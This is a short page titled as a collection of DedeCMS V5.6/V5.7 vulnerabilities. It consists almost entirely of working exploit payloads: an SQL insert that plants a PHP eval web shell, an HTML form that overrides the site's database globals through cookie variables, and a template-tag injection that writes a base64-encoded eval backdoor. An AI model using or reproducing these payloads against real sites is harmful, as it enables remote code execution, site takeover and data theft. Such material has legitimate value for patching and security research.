Dedecms V5.6/V5.7漏洞问题收集总结

insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @("1.php", 'a');@fwrite($fp, '<?php eval($_POST[c]) ?>');echo "OK";@fclose($fp);{/dede:php}');
 

 <form action="" method="post" name="QuickSearch" id="QuickSearch" onsubmit="addaction();">
<input type="text" value="http://localhost:8080/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>

a{/dede:link}{dede:toby57 name="'']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}